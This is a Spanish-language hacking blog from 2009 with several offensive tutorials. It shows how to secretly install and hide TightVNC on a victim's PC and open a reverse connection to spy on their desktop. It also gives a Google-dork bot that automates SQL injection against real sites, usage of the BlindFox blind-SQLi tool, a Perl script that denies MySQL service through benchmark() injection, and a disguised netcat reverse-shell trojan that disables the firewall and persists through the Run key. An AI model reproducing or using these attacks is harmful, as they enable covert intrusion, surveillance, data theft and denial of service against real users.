domingo, 27 de septiembre de 2009

Reverse VNC

Bueno hace un rato estube jugando con el VNC, probando conexiones inversas. Esto puede ser muy util cuando por ejemplo no podemos abrir algun puerto en algun router ordinario, o por ejemplo cuando estemos atras de un router con alguna victima y quiseramos ver el escritorio de la misma. Entonces podemos hacer una conexion inversa hacia nosotros.
Bueno si se leyeron este post http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html donde explico que es una conexion inversa y que ademas este script es por ejemplo el que pude usar para tener acceso a una maquina victima o probar en localhost (que es lo que se debe hacer :) ) para agarrar practica y despues tirarse a volar.
Entonces veamos, imaginemos que tenemos acceso a una pc con windows mediante el script que hice en el post del enlace mas arriba. Nosotros ahora queremos ver mas, osea queremos ver que esta haciendo, con quien chatea, osea ver su Escritorio :) . Bueno entonces, que nesesitamos.

Configurando VNC

Descarguen el VNC intalenlo en su maquina, y ejecutenlo.
Vamos a configurarlo primero coloquenle un password a el VNC en esa imagen muestra donde se coloca.








Ahora vamos a colocar que el icono no se muestre en la barra de tarea, para eso hacemos esto. Vamos al regitro de Windows y nos dirigimos a

HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3
,

agregaremos un nuevo valor Dword, con el nombre de DisableTrayIcon, y le daremos un valor de 1, como queda en esta imagen.












Lo que sigue es exportar la configuracion de nuestro VNC a un archivo .reg para que cuando le intalemos en la victima no tire ningun Warning de que falta setear algun password, y que el icono no se muestre etc.
entonces nos vamos a estas direeciones para exportar
HKEY_CURRENT_USER\Software\ORL\WinVNC3, Clic derecho luego en Exportar, y guardaremos con el nombre de regvnc1, ahora expotaremos el siguiente conjunto el cual es HKEY_LOCAL_MACHINE\SOFTWARE\ORL, y guardaremos con el nombre de regvnc2.
Pasamos al otro paso :)



Configurando carpeta de Bajadas
de TFTP
Una vez descargado el TFTP creen una carpeta por ejemplo en el C:\Bajadas y copienlo ahi, lo mismo hagan con el ejecutable del TightVNC, y los archivos .reg que habiamos creado anteriormente (regvnc1.reg y regvnc2.reg)
Ejecuten el Servidor TFTP, una vez ejecutado seguro les pedira si tienen intalado el Firewall un alerta, coloquenlo como exepcion.

Entonces C:\Bajadas tiene estos archivos
  1. tftp
  2. TightVNC
  3. regvnc1.reg
  4. regvnc2.reg
Dijimos que por algun Motivo X estamos en una consola de una victima ya sea mediante algun Exploit o con el post que hice sobre troyanizando Netcat.

Descargando y Ejecutando
Estos son los pasos como debemos descargarnos las cosas desde nustra pc a la victima y como se ejecuta paso por paso.

a. En la consola de nuestra victima colocamos.
PC Victim
c:\tftp -i nuestraip get regvnc1.reg
c:\tftp -i nuestraip get regvnc2.reg
c:\tftp -i nuestraip get tightvnc-1.3.9-setup.exe (en mi caso es ejecutable del VNC se llama asi)

Bien ahora tenemos descargados nuestras archivos para empezar. Ahora intalemos y configuremos

c:\tightvnc-1.3.9-setup.exe /sp- /verysilent
c:\regedit /s regvnc1.reg
c:\regedit /s regvnc2.reg
c:\rd /s /q "%allusersprofile%\menú inicio\programas\tightvnc"

En la primera opcion lo que hacemos es intalar el TightVNC silenciosamente, que lindo no?
Y en las otras dos lineas hacemos lo mismo importamos nuestros archivos .reg silenciosamente. :)
Y en la cuarta linea lo que hacemos es borrar del menu inicio el panel del tightVNC para que no se tan bandera. je..

Bien ya esta casi todo preparado ahora probemos si funciona. Nos quedan estos dos pasitos.
Abrimos una consola (cmd.exe) en nuestra maquina y nos vamos a

D:\>cd "Archivos de programa"

D:\Archivos de programa>cd TightVNC


Y ejecutamos:

D:\Archivos de programa\TightVNC>vncviewer.exe -listen

Lo que hacmoes aca es dejar un demonio del VNC en modo listen para posibles conexion hacia nosotros.

Y ahora nos vamos a la consola de la victima y nos dirijimos a la misma carpeta que nos situamos en la nuestra osea Archivos de programa\TightVNC, y ejecutamos:

C:\Archivos de programa\TightVNC>WinVNC.exe -run
Damos ejecucion al servidor VNC en la maquina victima :). Podemos ver si todo va bien con el comando tasklist, y ver si hay un WinVNC.exe corriendo..

Al fin viene lo divertido :). Ejecutemos la conexion Reversa
C:\Archivos de programa\TightVNC>WinVNC.exe -connect nuestraip

Ahora si todo sale bien y esperamos unos segundos nos aparecera el escritorio de la victima mediante el VNC, donde podemos hacer lo que se nos plazca desde subirle archivos, descargar los suyos, manejar su mouse.. Etc, etc, etc.....

Si se habran dado cuenta tambien con esta forma podemos conectarnos a la maquina de la victima directamente con el cliente del VNC, ya que esta todo configurado para ingresar y el password sera el el que colocamos cuando empezamos la configuracion.
Obviamente que cada vez que reinicie la maquina la victima tendriamos que ejcutar el WinVNC.exe para que este todo ok!! Eso es todo


Saludos

domingo, 20 de septiembre de 2009

Bot MySQL Search Google 1.0 && 2.0

Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.

1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar

Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros

+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++

[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10

[+]Search:


Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto

[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23

[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>

Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.

Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:


[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--

Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto

[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--

[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>


Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria

[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *

Bueno en La proxima colocare la version 2.0


Aca esta el codigo http://paste2.org/p/433646

Saludos

jueves, 10 de septiembre de 2009

The Blind Fox

Blind Fox, es una herramienta codificada en perl por Loggin-root, el cual nos permite automatizar la inyecciones de BLIND SQL . Este script se fijara si el motor que estamos atacando tiene permiso a las vista information_schema y a la tabla Mysql.users. Luego hace un bruteo de las posibles tablas que los programadores usan al crear una para los usuarios y las posibles columnas que tendra esa tabla, luego de encontrarlas podemos extraer los datos de ella.

Tenemos dos version la V5.0 y la ultima V7.0. Voy a comentar el uso de ambas. Una vez que tengamos el script (abajo estan los links de los script), abrimos un shell, (si estas en Linux ya lo tenes instalado al interprete de perl :) , en Windows vas a tener que descargarte uno e instalarlo :p). y ejecutamos el script ej: perl Blindfox.pl

USO:Version 5.0

perl BlindFox_v05.pl [WEBSITE] [PATRON] [FILE] [-EXT]

[WEBSITE]: http://www.web.com/index.php?id=4875

Esta es la pagina que nosotros encontramos como vulnerable a BLIND SQL, hay que pasarle la direccion con un valor valido. A que me refiero con valido, a que el numero que tiene asignado en este ejemplo la variable “id”, exista en la WEB.

[PATRON]: Bien este es el patron que se encuentra en la pagina TRUE, es decir al inyectar 1=1, la condicion se cumple siempre por lo cual nos mostrara la misma pagina que estaba anteriormente. Entonces hay que elegir alguna palabra de esa pagina “TRUE”, y pasarle al script en ese argumento entre comillas. Por ejemplo “Documento”

[FILE]: Archivo de salida donde guardara el informe para que lo veamos mas tranquilamente luego.

[-EXT]: Este parametro es opcional, si no le pasamos solo chequeara si la pagina es vulnerable, y luego verificara si el usuario de MySQL al que estamos atacando tiene permiso para leer la Vista Schema y la tabla Mysql.Users mas el bruteo de tablas y columnas. Si lo colocamos vamos a poder extraer los valores de alguna tabla y columna especifica

USO: Version 7.0

Uso: perl blindFox.pl [WEBSITE] [FILE] [-EXT]

[WEBSITE]: http://www.web.com/index.php?id=4875
[FILE]: Archivo donde guardar informe
[-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional)


Como podran observar en esta version no se pasa el PATRON, lo que el autor le agrego una funcion automatica para verificar si es vulnerable o no. ¿Como?. Agrega una funcion que lo que hace es contar las lineas de codigo de la pagina TRUE y la de la FALSE, luego compara dichos valores y si son distintos VULNERABLE!!, si no puede ser que no lo sea.. Pero por que coloco que puede ser.. Hay veces que este SCRIPT no interpreta bien en algunos casos, pero nosotros estamos seguro que la pagina es vulnerable por que inyectamos el AND 1=1 y AND 1=0 y nos da paginas diferentes. Entonces el BlindFox 5.0 nos salva en esta oportunidad pasandole el PATRON que nosotros sabemos que en la TRUE se encuentra y no en la FALSE

Aqui estan los Codigo

Version 5.0 y Version 7.0

Aclaracion: Estas herramientas se utilzan sabiendo lo que se esta haciendo, por eso recomiendo antes leer algun documento soble BLIND SQL.

Saludos

lunes, 7 de septiembre de 2009

DoS por SQLi

Resulta que apartir de una inyeccion en SQL , se pueden hacer tantas cosas que es algo que en el area de hacking siempre estan saliendo nuevas tecnicas y nuevas tools. Hoy decidi hacer un POST un poco avanzado para aquellos que no tengan idea de SQLi. Lo que vamos hacer es hacer un DoS al motor de SQL que en este caso el script que escribi para que realize la accion es para atacar un MYSQL.
Lo que hacemos es atacar de forma parecida al que se realiza en Time-Based Blind SQL. Pero en este caso forzamos al motor a realizar un delay constantemente.
Aqui esta el script hecho en perl

  1. · #!/usr/bin/perl
  2. · use IO::Socket;
  3. · if (!@ARGV[2]){
  4. · print "======================================================= \n";
  5. · print " Denial of Service MySQL injection V 1.0by MagnoBalt \n\n";
  6. · print " use perl $0 www.pagina.com.ar /noticia.php?id=45\n\n";
  7. · print "======================================================= \n";
  8. · exit(0);
  9. · }
  10. ·
  11. · $host=$ARGV[0];
  12. · $path=$ARGV[1];
  13. · #$injeccion="+and+(select+count(*)+from+information_schema.columns, +information_schema.columns+T1,

+information_schema.tables+T2)" ;

  1. · $injeccion="+and benchmark(99999999999999,md5(0x6b616f78))";
  2. · for($i = 1; $i < $ARGV[2] ; $i++) {
  3. · $pid = fork();
  4. · $socket = new IO::Socket::INET(
  5. · PeerAddr => $host,
  6. · PeerPort => 'http(80)',
  7. · Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  8. · print $socket "GET " .$path.$injeccion. " HTTP/1.0\r\n";
  9. · print $socket "HOST:$host\r\n";
  10. · print $socket "\n\n";
  11. · print "*";
  12. · }


nota: La linea 13 esta comentada, si quieren provocar el delay con la tecnica "Blind Heavy Query" descomentenla y comenten la linea 14 que es usando la funcion Benchmark.

Dejo el link de otro mismo script pero hecho en php por OzX . Link


Saludos.

jueves, 3 de septiembre de 2009

Reverse shell netcat with batch

Buenas, Me decidi crear un Blog ahora que estoy por mis pagos (Goya Corrientes), y no tenia nada que hacer :)..
Bueno en el ultimo Security Hacking NEA 4, se hablo de Reverse Shell por Dardo Valdez (Yaco), donde mostro como hacer uno con la herraminta Crypcat, aqui les dejo un tutorial muy bueno de WHK. Esta herramienta es una evolucion del Netcat y es exactamente igual los comandos con la diferencia de que la informacion viaja Encriptada. Pero bueno este tutorial que esta hecho por mi trabajo con Netcat.
¿Y en realidad que es Netcat? Netcat es una herramienta muy completa que es indispensable para cualquier administrador de red, el cual nos permite realizar conexiones TCP y UPD. Es tantas las cosas que podemos hacer con ella, que se tambien la denominan "La Navaja Suiza de los Hackers".
Bueno, entonces nosotros vamos a utilizar la opcion de Netcat que nos permita abrir un conexion reversa de la victima con nosotros.
¿Y que es en realidad una Conexion reversa? pss... Bueno eso explicare ahora mas adelante cuando empecemos a realizar el Script.. :)..
Basta y empecemos.

1)

Lo que nesesitamos es:

Vamos a trabajar con el QBFC, por algunos motivos, primero los script hechos en batch lo va a pasar a “.exe”, y segundo la mas importate es que nos permite juntar todo nuestros script y darle comandos para que los vaya manejando como queramos. Aqui hay un tuto de el. Aconsejo que lo lean por que voy a obviar su funcionamiento. Y esta muy interesante este programilla.

Ahora empezemos, renombramos el Netcat y le pondremos Win32.exe, abrimos el QBFC y copiamos el siguiente script en el, Ahora antes de guardarlo nos vamos al Icono Options de QBFC luego en la pestaña General marcamos Ghost Aplicattion, que servira para que no muestre ni un solo pestañeo de nada y no haya desconfianza. (Nuevamente recomiendo ver el tutorial de QBFC el cual muestra con imagenes de como utilizarlo.) , ahora lo guardamos con el nombre de “realtek.exe”, para ello nos dirijimos al icono donde dice BUILD.

Netcat > Win32.exe

Scritp_De_abajo > realtek.exe


@echo off

:recursivo

win32.exe -e cmd.exe Tuip 4444

goto recursivo

Bueno entonces que es una Conexion Reversa, pues fijense esta linea "win32.exe -e cmd.exe Tuip 4444", Nosotros que hacemos aca. Primero colocamos el nombre de win32.exe (que es el netcat renombrado por nosotros, para camuflarlo un poco), Ahora aca es la cuestion, le pasamos el comando -e que significa ejecutar, entonces vamos a ejecutar el cmd.exe (la consola de windows) abriendo un tunel hacia nuestra ip en un puerto determinado, que en este caso de ejemplo es el 4444. Este puerto estara escuchando en nuestra maquina a esperca de posibles conexion, cuando la victima ejecute este script pedira conexion hacia nosotros, y como nuestra maquina estara escuchando en ese puerto tendremos el cmd.exe de la victima. Entonces la conexion reversa es que la victima (en este caso) , se conecta a nosotros y no nosotros a ella. ¿Ahora y para que sirve esto.? Y bueno imaginemos que hariamos una conexion directa es decir nosotros pedimos conectarnos a la victima. Empiezan los problemas, ¿cuales? primero que nada tendriamo que concoer su IP. y en el caso de saber que pasaria si tiene ip dinamica.. :(. Ahora tambien podemos pasar por alto algunos firewall no tan complejos, ya que muchos solo no restringen conexiones salientes.

2)

Copiamos el siguiente script, “det.exe”

script_siguiente >det.exe

@echo off

cd

net stop “Centro de Seguridad”

net stop “Firewall de Windows/Conexión compartida a Internet (ICS)”

reg add hklmsoftwaremicrosoftwindowscurrentversionrun /v realtek /t reg_sz /d %systemroot%realtek.exe /f

exit

Este detendra el firewal de windows para que no tengamos problemas, y agregara el proceso realtek.exe al arrancar windows, para que tengamos acceso cada vez que prenda la maquina.

No quise hacerlo mas complejo a la detencion del firewall para hacerlo mas simple. Podran agregarle otras caracteristicas mas eficientes con el comando netsh, recomiendo leer.

3)

Y por ultimo el que manejará la secuencia de las acciones a realizarce. “NCT.exe”( pueden cambiarle el nombre).

@echo off

copy %MYFILES%win32.exe %systemroot%system32

copy %MYFILES%det.exe %systemroot%

copy %MYFILES%realtek.exe %systemroot%

rem borro lo que no utilizaremos mas

del %MYFILES%win32.exe

del %MYFILES%det.exe

del %MYFILES%realtek.exe

rem ejecuto

start %systemroot%det.exe

start %systemroot%realtek.exe

del %systemroot%det.exe

exit

En este ultimo tienen que insertar los distintos archivos que creamos y el netcat osea el “Win32″ :-) , con la pestaña include del QBFC. Por ultimo lo mandamos a nuestra victima. Colocamos en nuestra shell el comando nc -vv -l -p 4444, para escuchar el puerto 4444 y estamos dentro.. Obiamente tener el netcat intalado en su maquina. Recomiendo copiar el ejecutable del netcat en System32, para que este en una ruta PATH

Y con este terminamos. Cualquier duda las pueden colocar y las respondere con mucho gusto..

Saludos..

MagnoBalt